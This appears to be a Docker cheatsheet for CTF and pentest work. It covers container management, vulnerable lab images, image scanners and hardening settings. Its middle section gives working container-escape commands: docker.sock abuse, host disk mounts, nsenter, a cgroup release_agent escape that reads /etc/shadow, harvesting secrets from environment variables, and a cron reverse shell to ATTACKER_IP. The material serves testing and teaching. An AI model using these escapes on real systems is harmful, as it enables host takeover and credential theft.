kavklaw@llm $ cat docker-cheatsheet.md
Container management, networking, escapes, vulnerable labs, and security scanning — everything for CTFs and pentesting.
# Run a container
docker run -it ubuntu /bin/bash # Interactive shell
docker run -d nginx # Detached (background)
docker run -d --name mybox ubuntu sleep infinity # Named container
docker run --rm alpine echo "hello" # Auto-remove on exit
docker run -it --entrypoint /bin/sh myimage # Override entrypoint
# Start / Stop / Restart
docker start mybox # Start stopped container
docker stop mybox # Graceful stop (SIGTERM)
docker kill mybox # Force stop (SIGKILL)
docker restart mybox # Stop + start
docker pause mybox # Freeze processes
docker unpause mybox # Unfreeze
# Execute commands in running container
docker exec -it mybox /bin/bash # Interactive shell
docker exec mybox whoami # Run single command
docker exec -u root mybox id # Run as specific user
docker exec -e MY_VAR=hello mybox env # With env variable
# Logs
docker logs mybox # All logs
docker logs -f mybox # Follow (tail -f)
docker logs --tail 100 mybox # Last 100 lines
docker logs --since 2h mybox # Last 2 hours
# Inspect / Info
docker ps # Running containers
docker ps -a # All containers (incl. stopped)
docker inspect mybox # Full JSON details
docker inspect -f '{{.NetworkSettings.IPAddress}}' mybox # Container IP
docker top mybox # Running processes
docker stats # Live resource usage
docker diff mybox # Changed files in container
# Remove
docker rm mybox # Remove stopped container
docker rm -f mybox # Force remove (running too)
docker container prune # Remove all stopped containers
# Copy files
docker cp mybox:/etc/passwd ./passwd # Container → host
docker cp ./exploit.sh mybox:/tmp/ # Host → container
# Pull images
docker pull kalilinux/kali-rolling # Kali Linux
docker pull ubuntu:22.04 # Specific tag
docker pull ghcr.io/someuser/someimage # GitHub Container Registry
# List images
docker images # All local images
docker images --filter "dangling=true" # Untagged images
# Build from Dockerfile
docker build -t myimage . # Build in current dir
docker build -t myimage:v1.0 . # With tag
docker build -f Dockerfile.dev -t dev . # Custom Dockerfile
docker build --no-cache -t myimage . # No layer cache
# Tag and push
docker tag myimage myrepo/myimage:latest # Tag for registry
docker push myrepo/myimage:latest # Push to registry
docker login # Authenticate first
# Save / Load (offline transfer)
docker save -o myimage.tar myimage:latest # Export to tar
docker load -i myimage.tar # Import from tar
# Image inspection
docker history myimage # Layer history (find secrets!)
docker inspect myimage # Full metadata
# Cleanup
docker rmi myimage # Remove image
docker image prune -a # Remove all unused images
docker system prune -a --volumes # Nuclear cleanup
# Port mapping
docker run -d -p 8080:80 nginx # Host 8080 → Container 80
docker run -d -p 127.0.0.1:8080:80 nginx # Localhost only
docker run -d -p 8080:80/tcp nginx # TCP only (default)
docker run -d -p 8080:80/udp nginx # UDP
docker run -d -P nginx # Random host ports
docker port mybox # Show port mappings
# Network management
docker network ls # List networks
docker network create pentest-net # Create network
docker network create --subnet=10.10.10.0/24 lab # With subnet
docker network inspect bridge # Inspect network
docker network connect pentest-net mybox # Attach container
docker network disconnect pentest-net mybox # Detach container
# Run on specific network
docker run -d --network pentest-net --name victim ubuntu sleep infinity
docker run -d --network pentest-net --name attacker kalilinux/kali-rolling sleep infinity
# Host networking (container uses host's network stack)
docker run --network host -it myimage # No isolation!
# No networking
docker run --network none -it myimage # Complete isolation
# DNS / hostname
docker run --hostname pwned --dns 8.8.8.8 -it ubuntu
# Link containers (legacy — use networks instead)
docker run --link db:database -it webapp
# Bind mounts (host path → container path)
docker run -v /host/path:/container/path myimage
docker run -v $(pwd):/app myimage # Current dir
docker run -v /etc:/host-etc:ro myimage # Read-only mount
# Named volumes
docker volume create mydata # Create volume
docker volume ls # List volumes
docker volume inspect mydata # Volume details
docker run -v mydata:/data myimage # Use named volume
docker volume rm mydata # Remove volume
docker volume prune # Remove unused volumes
# tmpfs mount (in-memory, no persistence)
docker run --tmpfs /tmp myimage
# Share data between containers
docker run -v shared:/data --name writer myimage
docker run -v shared:/data --name reader myimage
# Minimal Dockerfile
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nmap curl wget
WORKDIR /app
COPY tools/ /app/tools/
RUN chmod +x /app/tools/*
ENTRYPOINT ["/bin/bash"]
# Common instructions
FROM image:tag # Base image
RUN command # Execute during build
COPY src dest # Copy files from build context
ADD src dest # Copy + extract archives + fetch URLs
WORKDIR /path # Set working directory
ENV KEY=value # Set environment variable
EXPOSE 80 # Document exposed port (doesn't publish)
CMD ["executable"] # Default command (overridable)
ENTRYPOINT ["executable"] # Main executable (harder to override)
USER username # Switch user
ARG VARNAME=default # Build-time variable
VOLUME /data # Create mount point
LABEL key="value" # Metadata
# Multi-stage build (smaller final image)
FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN go build -o exploit .
FROM alpine:latest
COPY --from=builder /app/exploit /exploit
ENTRYPOINT ["/exploit"]
# Pentest Dockerfile example
FROM kalilinux/kali-rolling
RUN apt-get update && apt-get install -y \
nmap gobuster ffuf sqlmap \
john hashcat hydra \
metasploit-framework \
burpsuite \
python3-pip \
&& rm -rf /var/lib/apt/lists/*
RUN pip3 install pwntools requests
WORKDIR /root
CMD ["/bin/bash"]
# docker-compose.yml — basic vulnerable lab
version: '3.8'
services:
attacker:
image: kalilinux/kali-rolling
stdin_open: true
tty: true
networks:
- lab
volumes:
- ./loot:/root/loot
victim:
image: vulnerables/web-dvwa
ports:
- "8080:80"
networks:
- lab
environment:
- MYSQL_ROOT_PASSWORD=toor
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=toor
networks:
- lab
networks:
lab:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/24
# Docker Compose commands
docker compose up -d # Start all services
docker compose down # Stop and remove
docker compose down -v # Also remove volumes
docker compose ps # List running services
docker compose logs -f # Follow all logs
docker compose logs victim # Logs for one service
docker compose exec attacker bash # Shell into service
docker compose build # Rebuild images
docker compose pull # Pull latest images
docker compose restart victim # Restart one service
docker compose config # Validate YAML
These are for authorized testing and CTF challenges only.
# If /var/run/docker.sock is mounted inside the container:
ls -la /var/run/docker.sock
# You effectively have root on the host!
# Method 1: Run a privileged container from inside
docker run -v /:/hostfs -it ubuntu chroot /hostfs
# Method 2: Use curl if docker CLI isn't installed
curl -s --unix-socket /var/run/docker.sock \
http://localhost/containers/json | python3 -m json.tool
# Create and start an escape container via API
curl -s --unix-socket /var/run/docker.sock \
-X POST -H "Content-Type: application/json" \
-d '{"Image":"ubuntu","Cmd":["/bin/sh","-c","cat /hostfs/etc/shadow"],
"Binds":["/:/hostfs"],"HostConfig":{"Binds":["/:/hostfs"]}}' \
http://localhost/containers/create
# Method 3: Install docker CLI inside container
apt-get update && apt-get install -y docker.io
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt
# Check if running in privileged mode
cat /proc/self/status | grep -i capeff
# CapEff: 000001ffffffffff ← all capabilities = privileged
# Or check
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "unprivileged"
# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host # or /dev/vda1, check with fdisk -l
cat /mnt/host/etc/shadow
chroot /mnt/host
# Method 2: nsenter into host PID namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# You now have a root shell on the host
# Method 3: Write cron job to host
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
# Check capabilities
cat /proc/self/status | grep Cap
capsh --print # If available
# CAP_SYS_ADMIN — almost as good as privileged
# Can mount filesystems, use ptrace, etc.
mount -t proc proc /proc # Remount proc
mount /dev/sda1 /mnt # Mount host disk
# CAP_SYS_PTRACE — process injection
# Can attach to host processes if sharing PID namespace
docker run --pid=host --cap-add=SYS_PTRACE -it ubuntu
# CAP_NET_ADMIN — network manipulation
# Can sniff traffic, modify routes, create interfaces
# CAP_DAC_READ_SEARCH — read any file
# Bypass file read permission checks
# CAP_NET_RAW — raw sockets
# Can craft packets, ARP spoof from container
# Shared PID namespace (--pid=host)
ps aux # Can see host processes
ls -la /proc/1/root/ # Access host filesystem via proc
cat /proc/1/root/etc/shadow # Read host shadow file
# Writable /sys or /proc
# Release agent escape (cgroups v1)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo 0 > /tmp/cgrp/x/cgroup.procs"
cat /output
# Environment variables with secrets
env | grep -i pass
env | grep -i key
env | grep -i secret
env | grep -i token
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
# DVWA (Damn Vulnerable Web Application)
docker run -d -p 8080:80 vulnerables/web-dvwa
# Access: http://localhost:8080 (admin/password)
# OWASP Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
# Access: http://localhost:3000
# Metasploitable 3 (via Vagrant, not pure Docker)
# Use: https://github.com/rapid7/metasploitable3
# WebGoat
docker run -d -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Access: http://localhost:8080/WebGoat
# Hackazon
docker run -d -p 8080:80 ianwijaya/hackazon
# Access: http://localhost:8080
# VulnHub in Docker
docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271 # Shellshock
docker run -d -p 8080:80 vulnerables/cve-2014-6271 # Shellshock
# Vulnerable WordPress
docker run -d -p 8080:80 -e WORDPRESS_DB_HOST=db \
-e WORDPRESS_DB_PASSWORD=toor --name wp wordpress:4.6
# SSRF vulnerable app
docker run -d -p 8080:80 abhinavsingh/ssrf-lab
# Log4Shell vulnerable
docker run -d -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
# Full pentest lab (Vulhub — many CVEs)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-048
docker compose up -d
# Trivy — vulnerability scanner (Aqua Security)
# Install
apt-get install -y trivy
# Or
docker pull aquasec/trivy
# Scan an image
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL myimage:latest
trivy image --format json -o results.json myimage
# Scan a running container's filesystem
trivy fs /
trivy rootfs /
# Scan a Dockerfile
trivy config Dockerfile
trivy config . # Scan all configs in dir
# Scan for secrets in image
trivy image --scanners secret myimage
# Docker Bench Security — CIS benchmark checks
docker run --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /etc:/etc:ro \
--label docker_bench_security \
docker/docker-bench-security
# Grype — vulnerability scanner (Anchore)
grype nginx:latest
grype myimage:latest --only-fixed # Only fixable vulns
grype myimage:latest -o json # JSON output
# Syft — generate SBOM (Software Bill of Materials)
syft myimage:latest # List all packages
syft myimage:latest -o spdx-json # SPDX format
# Dive — inspect image layers (find secrets, bloat)
dive myimage:latest
# Interactive TUI: browse each layer's filesystem changes
# Look for: passwords in config files, .env files, SSH keys, tokens
# Manual inspection
docker save myimage -o image.tar
tar xf image.tar
# Inspect each layer's layer.tar for sensitive files
# Check for secrets in image history
docker history --no-trunc myimage | grep -i -E "pass|key|secret|token"
# Run as non-root user
docker run --user 1000:1000 myimage
# Drop all capabilities, add only what's needed
docker run --cap-drop ALL --cap-add NET_BIND_SERVICE myimage
# Read-only filesystem
docker run --read-only --tmpfs /tmp myimage
# No new privileges
docker run --security-opt no-new-privileges myimage
# Limit resources
docker run --memory=256m --cpus=0.5 myimage
# Don't mount docker socket
# Never: -v /var/run/docker.sock:/var/run/docker.sock
# Use specific image tags (not :latest)
docker run nginx:1.25.3-alpine
# Scan before deploy
trivy image myimage:latest && docker push myimage:latest
# Enable content trust
export DOCKER_CONTENT_TRUST=1
# Use seccomp / AppArmor profiles
docker run --security-opt seccomp=profile.json myimage
docker run --security-opt apparmor=docker-default myimage
# Network segmentation
docker network create --internal isolated-net # No external access
# Get a shell in the latest exited container
docker start -ai $(docker ps -lq)
# Remove all stopped containers
docker rm $(docker ps -aq -f status=exited)
# Kill all running containers
docker kill $(docker ps -q)
# Get IP of a container
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mybox
# Monitor container in real time
watch docker ps
# Export container filesystem
docker export mybox > container_fs.tar
# Search Docker Hub
docker search vulnerable
# Run with all ports exposed to host
docker run --network host myimage
# Attach to container's network namespace (debug)
nsenter -t $(docker inspect -f '{{.State.Pid}}' mybox) -n ip addr
# Quick Kali with common tools
docker run -it --rm --network host kalilinux/kali-rolling bash -c \
"apt update && apt install -y nmap gobuster wordlists && bash"